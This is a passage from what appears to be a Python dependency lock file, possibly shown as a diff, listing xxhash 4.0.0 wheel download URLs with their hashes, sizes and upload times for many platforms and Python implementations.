"https://files.pythonhosted.org/packages/a8/06/9cc19701019915c83767f78be0a16aa3ce0be01372f964c6545941bcf298/xxhash-4.0.0-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:af6ba29275dde4eba5fc223a7635edb88fbaf658289e1f89007e05c74204bc06", size = 35335, upload-time = "2026-08-12T16:54:07.032Z" }, - { url = "https://files.pythonhosted.org/packages/f3/f2/871dfea505b2ed142c536046fd06b42478b50ac45bb793d3ad151dfdc9cf/xxhash-4.0.0-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:51288138c05f55fd1cb9c98c33e01eb573744e768ac342e3e938d03b0e0b9683", size = 37637, upload-time = "2026-08-12T16:54:07.605Z" }, - { url = "https://files.pythonhosted.org/packages/57/d2/0585560cd638f267c8a6e219b1acb428e8a7e1d9170d47df2e8b8af4ecbe/xxhash-4.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:0ed59c8f1eabb250cb293590dd59af835e4b6c5a2c749923ae1292c3743ec82a", size = 37735, upload-time = "2026-08-12T16:54:23.115Z" }, - { url = "https://files.pythonhosted.org/packages/c4/a3/c65f35ea36754998e4359cd4be71b3685c8847e1ff3c7217ef5d624e237c/xxhash-4.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:6838e142ac44cb0838c395db285d040784404dd33f6b7d92b2338f2d849f8b97", size = 35578, upload-time = "2026-08-12T16:54:41.782Z" }, - { url = "https://files.pythonhosted.org/packages/0f/33/6a0d39f99177f34a85f215293fbc064a7de3c2f65eb29c3300119fd7291e/xxhash-4.0.0-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:070fde1355b8ba1da1ab78fe78297abb919a61aea5adbf2b8ee2a2a592ce007b", size = 259108, upload-time = "2026-08-12T16:54:17.662Z" }, - { url = "https://files.pythonhosted.org/packages/24/d8/b2391845e679b0bcfa915643d89492dc80b814d526a35de03d4685fd6f70/xxhash-4.0.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2ed50ea632e80951cedd89714505a8f85d199f2014faba4bbbc81baccc1c2081", size = 283622, upload-time = "2026-08-12T16:59:15.896Z" }, - { url = "https://files.pythonhosted.org/packages/63/ba/f0d8766eec1928a03ad9ff9c6a1447c73628f0b998968f92ea947ed6af92/xxhash-4.0.0-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:73274fe4597094bb5c19f9812b044d97d6ded8fefb04599bd2710dc5963fbb2f", size = 303437, upload-time = "2026-08-12T16:54:54.341Z" }, - { url = "https://files.pythonhosted.org/packages/76/c7/ad5c80fa54796328f2517899b4cfa3a94784abcd6057fb9cbedb829910fb/xxhash-4.0.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f0170f95d0c15c7d60cbac9b0d10dfefc01f0ecd61ce3609936495bf988189fb", size = 286862, upload-time = "2026-08-12T16:54:10.78Z" }, - { url = "https://files.pythonhosted.org/packages/b0/e6/d0ff14bfda7b5e660aad7e6e342dbc3af6cc1e9e645ce26a46fe6f2f1efd/xxhash-4.0.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:45b905eb4116ae7ad280ba9f5b702fe77569403d53b90762b3d0509ddec3b9cd", size = 519477, upload-time = "2026-08-12T16:54:13.461Z" }, - { url = "https://files.pythonhosted.org/packages/4e/33/2e50c9a828240d76a956d2b4426f8f1e5264a60a06b84c9150b718ec8633/xxhash-4.0.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5ae29aa4ca0d8be4c13154bea4a82f77ed62062d400ead38b599b2d7bbf5b727", size = 268202, upload-time = "2026-08-12T16:54:34.635Z" }, - { url = "https://files.pythonhosted.org/packages/48/ca/f8350df6ff74963e6f7dd88edf200b17ee33dc6eba1a892f70e7f1378e2d/xxhash-4.0.0-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b72e2a2f65dbda433f09e1de5a116366b3305d5f4a968f44e4ac1023dd053744", size = 344705, upload-time = "2026-08-12T16:59:04.261Z" }, - { url = "https://files.pythonhosted.org/packages/f8/70/87e0c9d65bc47a285e97024de83e237fa2309cb556a28972738dbbc9fc2d/xxhash-4.0.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:57ebd48125d8a469bdb167a53199213a068088a28a4e5c05bf57c15cc6eb8c7b", size = 279524, upload-time = "2026-08-12T16:54:24.045Z" }, - { url = "https://files.pythonhosted.org/packages/86/45/1f37db24c05e316767f4cb5eb00c4ad6c5d06718a71faf5d34aac0afad01/xxhash-4.0.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:ccbfe39040e2b4643e7e2cdef623fd45d187e430f0e6631d41101d2454cfb3e4", size = 307154, upload-time = "2026-08-12T16:59:18.85Z" }, - { url = "https://files.pythonhosted.org/packages/eb/34/771af917dbb390619083afa56c975b6e25b3256c3f8f8b93e688ceb6a42a/xxhash-4.0.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:edb635eb0904a04b27585a02e9030692dd0a642cdcf3f46834f598281fad246d", size = 265495, upload-time = "2026-08-12T16:55:24.769Z" }, - { url = "https://files.pythonhosted.org/packages/b3/72/0e3d8e0a6153d22abcca15cc13e1a9a488b855e255839713347e69deca83/xxhash-4.0.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:e9e68e32f9d7d6dacf3b7a9b7f777cbe2e2db975606e6e2af098c73ad89f09c3", size = 284019, upload-time = "2026-08-12T16:54:16.243Z" }, - { url = "https://files.pythonhosted.org/packages/24/2f/e4f1384a85479805f2dab9501b461ad6011e58aee9f74ec6a1919c228fba/xxhash-4.0.0-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:1f9c48c63f707de4c9e76da46418838a8ab07ebd3608188389008fba264e433d", size = 335645, upload-time = "2026-08-12T16:54:22.272Z" }, - { url = "https://files.pythonhosted.org/packages/3a/27/a0b66e349a0f8a855ff62b16ef0244c231a50f7d001fb91f0fb1616b851c/xxhash-4.0.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:07958037004350048b62ac5d088c08f83f4291c36ebe7e302f6497773903dcee", size = 486666, upload-time = "2026-08-12T16:54:43.505Z" }, - { url = "https://files.pythonhosted.org/packages/47/c8/cc99d61a81d0b3d38fdbb7c7c702a3a0577f48527b768885c0a26af06722/xxhash-4.0.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:e54e35ff1095737599338b264d092e60c770b9c319badc47d3c61f4e037ec9b9", size = 263982, upload-time = "2026-08-12T16:59:06.51Z" }, - { url = "https://files.pythonhosted.org/packages/8d/23/f30b4d31469b1ee79316b7970e1e2b87185af16924d62ff2a77f085c0246/xxhash-4.0.0-cp313-cp313-pyemscripten_2025_0_wasm32.whl", hash = "sha256:340d30e1030d0cfd239a96b45ce3368dac061517a4c56283e3d0ac4b5da43a10", size = 20220, upload-time = "2026-08-12T16:54:41.041Z" }, - { url = "https://files.pythonhosted.org/packages/39/0f/6ff9aa9f7ec323a690fa94737be54bdcf3b28ad445d9419394a5bfc60aa3/xxhash-4.0.0-cp313-cp313-win32.whl", hash = "sha256:54c09a575b8b7c9c77ece653c6267dbef7829144358403ec2aa06cfc16d2a737", size = 34096, upload-time = "2026-08-12T16:59:20.735Z" }, - { url = "https://files.pythonhosted.org/packages/2c/39/34472a4ee5bba5abba4f5cbe6b4e6e9636a408b9e1d1dfbb856e057b193a/xxhash-4.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:c5f7268147219bad4ffa56a06a0416d30b9a4c16dd1f2fc847bcee0a82babdb7", size = 36139, upload-time = "2026-08-12T16:55:27.256Z" }, - { url = "https://files.pythonhosted.org/packages/00/8e/2b85ae94a5b112512552e6bac3c81dca62bd09344bed7eed39918152bb3a/xxhash-4.0.0-cp313-cp313-win_arm64.whl", hash = "sha256:efde4e9568509643cf149e4d9ff8dd33aaf0e933d4e75f50549072807bd2d2c6", size = 33087, upload-time = "2026-08-12T16:54:18.504Z" }, - { url = "https://files.pythonhosted.org/packages/ab/41/588e92b0ebee8068499619795948a010d8f95eccb5a09f9f2f9917b8aae8/xxhash-4.0.0-cp314-cp314-android_24_arm64_v8a.whl", hash = "sha256:db84ea3b737a6739a85e83369d1580735429ce77aeaa170098cae68c53808823", size = 43322, upload-time = "2026-08-12T16:54:34.351Z" }, - { url = "https://files.pythonhosted.org/packages/bd/9f/a7842537ae06bb81e4ef56c86c761f1679d2db23bbbdae58de26bc794ff0/xxhash-4.0.0-cp314-cp314-android_24_x86_64.whl", hash = "sha256:1cd2a1f525f6de2f12f2f082f3cb3cef42c1e312391a5c775aef29e250fbe025", size = 40391, upload-time = "2026-08-12T16:54:58.446Z" }, - { url = "https://files.pythonhosted.org/packages/a1/30/ac4bc97e28ba17c4bdc6ca7205a165aaa85d78d5b31370038217515e7364/xxhash-4.0.0-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:76e518792bab77567bbec2ffa79a832b4d6d6f3e381eebe5438f4edaedfe60e8", size = 34405, upload-time = "2026-08-12T16:59:12.225Z" }, - { url = "https://files.pythonhosted.org/packages/6f/98/d595fd2d231b6ad000c23f2d5b2d8927378b783cdc727b94906fd36fe7ac/xxhash-4.0.0-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:8846f6f7fc91b31da17e65fa1388dc7564ab2a49705bafc7385685cb138d8c97", size = 35333, upload-time = "2026-08-12T16:54:45.926Z" }, - { url = "https://files.pythonhosted.org/packages/31/36/004f2c793ea27b380ca288237438bc39efe3e009158de7dcd2ebaea193a8/xxhash-4.0.0-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:281bee1d220ef2bcd98da244645b64b63ab4529639adfae08493149b683dca7c", size = 37702, upload-time = "2026-08-12T16:59:22.503Z" }, - { url = "https://files.pythonhosted.org/packages/36/77/a8a518eff9772f074a73fbe21b5bed8d6c2a2be9190a9e1ffd33f4565ca3/xxhash-4.0.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:06c1d6011c7126da93a6ec1fdb587a9e672622721747287c49f0d9f8c74d8a2c", size = 37859, upload-time = "2026-08-12T16:55:31.76Z" }, - { url = "https://files.pythonhosted.org/packages/4a/1c/03d2ef7526bea146d10247fbb546ac5c204374825e00f333e050034da9a9/xxhash-4.0.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:63572670b457b18404aa2bf1e4eccf15b11897cb84c1d8d37f245ac3c0398564", size = 35579, upload-time = "2026-08-12T16:54:32.47Z" }, - { url = "https://files.pythonhosted.org/packages/82/d4/5586b3bb8564d48bcad8db26ded6fa441adf352348f794a20d35b163782e/xxhash-4.0.0-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:5f4ef8e1187013597c2ce1dd0f1eb03111d53b524ac4e31edbcbd44ca99c20ab", size = 259237, upload-time = "2026-08-12T16:54:38.665Z" }, - { url = "https://files.pythonhosted.org/packages/86/2e/de7da52bbb6efe85b609bc45fe31973f4cdc5abb3e66a20aca0d158dafb3/xxhash-4.0.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:945ec1b96f381c3646baf7a3a02dd9c5c2f1471f6433f3fe76f54dacdf865b4f", size = 283931, upload-time = "2026-08-12T16:55:03.414Z" }, - { url = "https://files.pythonhosted.org/packages/27/ca/fa6b3dfba13123a4ba48e9c024275d46e6ab84f79836d25ea59cf4b264f5/xxhash-4.0.0-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:f0debc5d798cc976edec29e6b2b3b995144cabbcd1434a2b3a3132a3b7f72cd0", size = 303589, upload-time = "2026-08-12T16:59:14.762Z" }, - { url = "https://files.pythonhosted.org/packages/c3/af/834b2d3da35052307a7892b111e60d825b28ce7a5ebb400664a25f5795a6/xxhash-4.0.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:69b66cc631ad37f07e44ca04ec44eadcc86d0ecb9533c151e01df44c0741f2fe", size = 287097, upload-time = "2026-08-12T16:54:50.85Z" }, - { url = "https://files.pythonhosted.org/packages/31/b9/155d29cd9fae4fe3814cc072bfd4c2b45d1814f4c48c7b85e3850c9e7bf7/xxhash-4.0.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:c1ad023a357ae1210f6d5fff4cca7273c08cf4adbf60cc6df243c262d3ce6a1b", size = 518895, upload-time = "2026-08-12T16:59:24.55Z" }, - { url = "https://files.pythonhosted.org/packages/55/d9/ad3a313fbaea9116cd33b1f1c454eb363012ce46933e1760ac072b1ee9f9/xxhash-4.0.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0a2fcead5cdff26b002e8336cdec6f6eea588d350b1ec1010801878c9381779f", size = 267820, upload-time = "2026-08-12T16:55:36.44Z" }, - { url = "https://files.pythonhosted.org/packages/1a/bb/dfa99ca585e2e7275f0fec3c93a2907a2e1f0a0498af1d320c425701dc15/xxhash-4.0.0-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:adc511931fda0114b05611b14474471b0a472ca9153fc347d30ed96fd628bbf7", size = 345169, upload-time = "2026-08-12T16:54:41.138Z" }, - { url = "https://files.pythonhosted.org/packages/98/b0/e6a00e115cb9c0c7a32375e23d4dc4b94e733e756766978a9c6fc7aa9cbe/xxhash-4.0.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:495820b8908edd87bb69924f04106dad7cb349763aacf741f820d7d0e04bb4da", size = 280231, upload-time = "2026-08-12T16:54:44.351Z" }, - { url = "https://files.pythonhosted.org/packages/a7/10/3855a7275d6bc04cb4ad31e5b44d91fc0f0ad2fcb6676ae56b313d4abbf6/xxhash-4.0.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:3cd39edf34945dd02f256a778eda5c9ea52e865a45f218460a5d6d12b266607f", size = 306797, upload-time = "2026-08-12T16:55:20.632Z" }, - { url = "https://files.pythonhosted.org/packages/f3/57/69ed901908fd34d264a5941fcccc83fb0886a6a6fefee8d40a25a3b1d59b/xxhash-4.0.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:02b998b2a3150780d596f9cf8ae90fc19e38c64971bddbe6e492de0c0c0d07e9", size = 265528, upload-time = "2026-08-12T16:59:17.822Z" }, - { url = "https://files.pythonhosted.org/packages/52/62/cfceb242c029a3198d4fb8b804c41b08d51e661aa43891a05a5839fc8562/xxhash-4.0.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:41c810a5ad4aaf862812575f477361e8a76a368764d3c265f53511fbbf8fa5ef", size = 284161, upload-time = "2026-08-12T16:55:07.446Z" }, - { url = "https://files.pythonhosted.org/packages/c4/ca/1ec30ab71826decd231f1231e276f6cf0f54cae709e11427be8102b1843f/xxhash-4.0.0-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:91aa1d5418de8aaca5a418f22657a3e4c1bc37f993aba8b010a46b39f6d37501", size = 335726, upload-time = "2026-08-12T16:59:26.785Z" }, - { url = "https://files.pythonhosted.org/packages/31/ea/c710d5d1279c7c7e7ad4cf9d1d2f9106223e484a9b761a353cfcc5900a24/xxhash-4.0.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:ef341c82fc06696c1feb6923c900e6e00a9f049f86d6bbc275cd6c02f7091c2a", size = 486311, upload-time = "2026-08-12T16:55:44.33Z" }, - { url = "https://files.pythonhosted.org/packages/6a/95/777a75e55e540da1c0fa83ab4ae6d517e047ba72a299d89f850d5d57bc76/xxhash-4.0.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:cb96c1c045996975892d55118f5fe323b1c7fb56ce1a5505f065e4c66e7f341c", size = 263414, upload-time = "2026-08-12T16:54:48.469Z" }, - { url = "https://files.pythonhosted.org/packages/1c/9a/a5a0c97212574ff5bd9a297e11536e6caad705f0e9a554bf6e78ce2cafef/xxhash-4.0.0-cp314-cp314-pyemscripten_2026_0_wasm32.whl", hash = "sha256:82160fc93048d66bf7872b3e3d482f833d6c586e56357c53d9a4c147871a677e", size = 20200, upload-time = "2026-08-12T16:54:54.361Z" }, - { url = "https://files.pythonhosted.org/packages/df/da/b4de0e377f0f9bb732c9b7814492a249e668c3910b9a51df86a11ff5c4a2/xxhash-4.0.0-cp314-cp314-win32.whl", hash = "sha256:ca16817ba162e53c56e19c428f7629fbf86e0c36d6c95c1ae9f2206767a81f47", size = 34774, upload-time = "2026-08-12T16:55:37.205Z" }, - { url = "https://files.pythonhosted.org/packages/b9/0a/4cebdfd9970a7859e0287621954270ca3ac63807b95e9d4dec316de13c80/xxhash-4.0.0-cp314-cp314-win_amd64.whl", hash = "sha256:77dbca7da50340f2bddb1ab16ced523ae275f319d209362a7bdb7f306dd9cfdb", size = 36763, upload-time = "2026-08-12T16:59:19.774Z" }, - { url = "https://files.pythonhosted.org/packages/29/d7/d96b991a5fb945d6a6e54ae0bdda7502717a6d34640e4b00964682329f38/xxhash-4.0.0-cp314-cp314-win_arm64.whl", hash = "sha256:e104176ad369e3d52cba2dd85832d19f9ad04393ccf738b260553e7a54a6fed6", size = 34036, upload-time = "2026-08-12T16:55:28.081Z" }, - { url = "https://files.pythonhosted.org/packages/a3/69/c1cc56e1fcbadcec54ce005e77e689a306299087320c4ddbc848af5d867b/xxhash-4.0.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:e9dccaddc24daee3c0aa0cfbaed95cdee594edf5638d941675628dc7bfbb22fc", size = 38329, upload-time = "2026-08-12T16:59:28.887Z" }, - { url = "https://files.pythonhosted.org/packages/32/18/70afb6fc2c2e1bb4cea8387d3e4a8467678e6acb0786c88ebe704839f86c/xxhash-4.0.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:8a00751c4b92c1f4b5785ef1729ae4ccebcffdba1ff4095a6c7285ab122e223e", size = 35958, upload-time = "2026-08-12T16:55:51.755Z" }, - { url = "https://files.pythonhosted.org/packages/d2/90/4bc82997ff15aeaedbb2c8a5e1b3908f8eba7599bf49c37ba5af71627a78/xxhash-4.0.0-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:06eb2bdab339f0a59a1a6ad97c2be21d4dc4c2fa095182540bef56ccf1d149b1", size = 273387, upload-time = "2026-08-12T16:54:51.914Z" }, - { url = "https://files.pythonhosted.org/packages/0f/ad/b881718ae097adedc2d03db5c7c30dce7da7f054f4e7bb7b7c3d1bf7e631/xxhash-4.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:67284df807563ca3f79cf3ee0acc76ffa873aad85a9e587441d18d0cdb1fc143", size = 300757, upload-time = "2026-08-12T16:55:00.431Z" }, - { url = "https://files.pythonhosted.org/packages/f3/32/b7afbba0750a4792e59f81bcc0e9c105dd388c7977b6d3fbaab24641380a/xxhash-4.0.0-cp314-cp314t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3290769c98ea77b99d24017bccd72851079b15434478e6537034a8869f9b6fc4", size = 312404, upload-time = "2026-08-12T16:55:46Z" }, - { url = "https://files.pythonhosted.org/packages/a4/78/619630629a7e998c4a31b3111136420f15e715b72fda4fff71afa35da653/xxhash-4.0.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:39046bb0cc10d7eb86805d4d2b0ea9a5d3b4fb03b9061a679e48b2c8651cd31a", size = 301087, upload-time = "2026-08-12T16:59:21.767Z" }, - { url = "https://files.pythonhosted.org/packages/cb/a2/4269e599e9a7ab4b8f91529aee41c62a5c0cbc2624014cbc8a313ad082f9/xxhash-4.0.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:73774102f1cd53989d33ae340601139d6015a4ef4f9e38fd8fe47f24ab59472a", size = 534061, upload-time = "2026-08-12T16:55:46.98Z" }, - { url = "https://files.pythonhosted.org/packages/ec/6c/4089a593bbf5c51b4d4750a0e2bdade5e3b1771f8e209d0e390f6892de79/xxhash-4.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4445a802761e2d6f0ca4741464fbbb08e21e3a7885845e930bca4c8faf48fde2", size = 279278, upload-time = "2026-08-12T16:59:30.944Z" }, - { url = "https://files.pythonhosted.org/packages/47/05/f544e0db4fffe64dd25de640152a64f341c4a9a915108d507bbc873c6c62/xxhash-4.0.0-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:513304b55d0f857066548492005c2edd332ca88bdfa36a53619fe09f4f582dc5", size = 358600, upload-time = "2026-08-12T16:55:56.265Z" }, - { url = "https://files.pythonhosted.org/packages/08/c3/ce6853d35227f16d7cee4c231e6dd79fc50725808dbdd18f74e5f5f239d9/xxhash-4.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:124d503e5ac068a0977dbfd3cbf906043bb377e223f6fda76695fe070a5e2acf", size = 295001, upload-time = "2026-08-12T16:55:06.447Z" }, - { url = "https://files.pythonhosted.org/packages/8f/eb/91bb0d5be29e60284d78d5769a80247e55480015fd8be67e4c9e7c0a2496/xxhash-4.0.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:fbc07b879e9e8290a42556914234b5ae149c00c2e2c95ae1fbeedf96785c0f89", size = 319835, upload-time = "2026-08-12T16:55:10.564Z" }, - { url = "https://files.pythonhosted.org/packages/b7/60/5f9792b182848e7fe24acc81ff3d48f4729416361e79c1e4c30202183580/xxhash-4.0.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:310c51cbf02be5ee7fc70a40c3d8fb609ab9efc83d0371eebdb9158b9324c0a9", size = 279061, upload-time = "2026-08-12T16:55:52.714Z" }, - { url = "https://files.pythonhosted.org/packages/60/e0/88c48e6de56b33182fae9817d67a7f3276cc6a41afc6abfd884adb1fc803/xxhash-4.0.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:d96feacc843a42644ba5644f8119c2f0696fc3e0164b8d85dc22a3b702fdc2f1", size = 297263, upload-time = "2026-08-12T16:59:23.682Z" }, - { url = "https://files.pythonhosted.org/packages/30/2c/dcd5f06fed249a41a785d83d8882759e0792258a40717808a7a38fe864bc/xxhash-4.0.0-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:a43ff13f62a6c0afa04464ed1932a8fb2dcf1cd24ac01c3b90e82d3cf22d4c3d", size = 348133, upload-time = "2026-08-12T16:55:53.517Z" }, - { url = "https://files.pythonhosted.org/packages/eb/54/aeac468983c72d71c4299b0eabbec9264685bc82d5f78c56b5336097c1f9/xxhash-4.0.0-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:471a2122c59d05accf9001f1d8dabca473faf1caf01081b5226506d823468e3b", size = 498970, upload-time = "2026-08-12T16:59:33.199Z" }, - { url = "https://files.pythonhosted.org/packages/5a/2a/707b28087bf5b196753897680c20a3ae7ab8f60226cc8a1ca2b63efbf9f8/xxhash-4.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:78b4fc6bb9bac999eb1ff141dc597aed3b0ddadf52f572211f0f17acfc2b844e", size = 274693, upload-time = "2026-08-12T16:56:02.787Z" }, - { url = "https://files.pythonhosted.org/packages/51/6c/80f952b5badf300b11469af73bcff7928017f27d6143ba4fa999708b96fd/xxhash-4.0.0-cp314-cp314t-win32.whl", hash = "sha256:60fdebd3eb6da7ef6b5e2b36105dc0711d1419f7c45caa0cd14244119315be65", size = 35125, upload-time = "2026-08-12T16:55:11.3Z" }, - { url = "https://files.pythonhosted.org/packages/81/f6/ce91b1e06c24bcb9ae24cdf0481bc0cb39e41c98d61631b09659501b6cf9/xxhash-4.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:8920c21c73dadf9e5bee1e13e250a1acf63f3dd6d609ab2ba5d4abbd86394be2", size = 37103, upload-time = "2026-08-12T16:55:21.46Z" }, - { url = "https://files.pythonhosted.org/packages/9b/95/860bed3a0c7dede4a6a1734ab6f88998bef3e20a3d5ccf2c169073aaff9f/xxhash-4.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:55c026944fd593b4199fa299f7667aa79622d625e30f638f41f92f0c192c90d8", size = 34254, upload-time = "2026-08-12T16:55:58.587Z" }, - { url = "https://files.pythonhosted.org/packages/dc/50/525619de9e4ec98f5738ee4a0aa6177bc297bea5e53288080e5c15f377d2/xxhash-4.0.0-graalpy312-graalpy250_312_native-macosx_10_13_x86_64.whl", hash = "sha256:cc563b697d5eefc6a0a699203076687ec87db4ef8fd03330786343e309a6c009", size = 31502, upload-time = "2026-08-12T16:59:45.85Z" }, - { url = "https://files.pythonhosted.org/packages/dc/1b/1718da1d831ce7b00b6ea69fa7f19b52a1a700ac32f8b913a799ee0bdde7/xxhash-4.0.0-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:9a9d55a4dd7e6693cc1e15119b0719d446495513b06ed020bec8ff77a84288f0", size = 34116, upload-time = "2026-08-12T16:56:51.108Z" }, - { url = "https://files.pythonhosted.org/packages/b5/6d/7ffeb80640ecafdc51a0de3096f450891d1c3baaf77543f49a1451a844a7/xxhash-4.0.0-graalpy312-graalpy250_312_native-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:07b899cf57f2573019a064b66c25b20d3e6934273fb8b921f96d74f417032d87", size = 38163, upload-time = "2026-08-12T16:59:55.311Z" }, - { url = "https://files.pythonhosted.org/packages/9d/88/51ff39be48d02e223942127189359397f87301c6c5f12efb9fda2d7ac8d6/xxhash-4.0.0-graalpy312-graalpy250_312_native-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:affef90b19eb63d054a1c16df70daee553dd735e9109e3ded5f390dda7e1eab4", size = 37885, upload-time = "2026-08-12T16:57:06.59Z" }, - { url = "https://files.pythonhosted.org/packages/b6/f0/cd7d58dc604a395d33f5b73773caba6fdfca7e20ab54087094655c1a474b/xxhash-4.0.0-graalpy312-graalpy250_312_native-win_amd64.whl", hash = "sha256:56ab134b8a5ef7a4d95c8cc0436ccab03ab20cab799e0886f4f1e728e205893e", size = 36816, upload-time = "2026-08-12T16:56:32.76Z" }, - { url = "https://files.pythonhosted.org/packages/69/b9/27ce26769194c38e93f9b6a5cc8e6cc24b976e3221566efe89c3db055064/xxhash-4.0.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:6e0690932bd17f1e2e0895d44844fc3bc33304c64970dbdc8e10e86a2808fe40", size = 36099, upload-time = "2026-08-12T16:59:08.061Z" }, - { url = "https://files.pythonhosted.org/packages/49/e1/f8d8f3ade77145e937baf7c62b038c964f248a33a439406413ca7d82d5fb/xxhash-4.0.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:ec6f32520a939345f057fe4fd4cba9e988caf9aa738ae0648ebc9a0e26f9afba", size = 33104, upload-time = "2026-08-12T16:56:58.042Z" }, - { url = "https://files.pythonhosted.org/packages/48/7d/6560dc2540d83e885657ce9a44afed7173f71204a8877480853790444f36/xxhash-4.0.0-pp310-pypy310_pp73-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:131e68f730eade01b60b37df1017d07a804ebc62dd06cc9fd6e241c6c09628da", size = 47684, upload-time = "2026-08-12T16:59:47.883Z" }, - { url = "https://files.pythonhosted.org/packages/53/40/23edf739346d4b7c38c684d7b7a8089549118f423dba8fcff0649f67a11a/xxhash-4.0.0-pp310-pypy310_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0a870ba5809434c0e33bc1c996fbadf59f5bee2346e3ae212e74a1a8a5389a38", size = 42366, upload-time = "2026-08-12T16:56:53.662Z" }, - { url = "https://files.pythonhosted.org/packages/5c/07/e46c7ba805c3f7584d59575a185cec04cbd351f694bb7542400129230dee/xxhash-4.0.0-pp310-pypy310_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ebf1b7d63171a3ffd8a7361142a51fb7463defa43068d787bb3aa05e0ac822e1", size = 39118, upload-time = "2026-08-12T16:59:56.821Z" }, - { url = "https://files.pythonhosted.org/packages/98/3e/89d28986f30a11f029d07164916634062ff77fe4f5a84dbefa6ac29256ed/xxhash-4.0.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:ade38cd596f12a250b747a2bb54a7e23b45dcc112c537d34e08e16b06d09bf31", size = 36881, upload-time = "2026-08-12T16:57:07.893Z" }, - { url = "https://files.pythonhosted.org/packages/83/b1/49cb67d760607af93db044208df1ae51d667e74e9352bdf0a79559445ce0/xxhash-4.0.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:a1c8a2ea77ad2b22ab4ad34cc673aedd291143169ce10fac5728f5d3c017b378", size = 35993, upload-time = 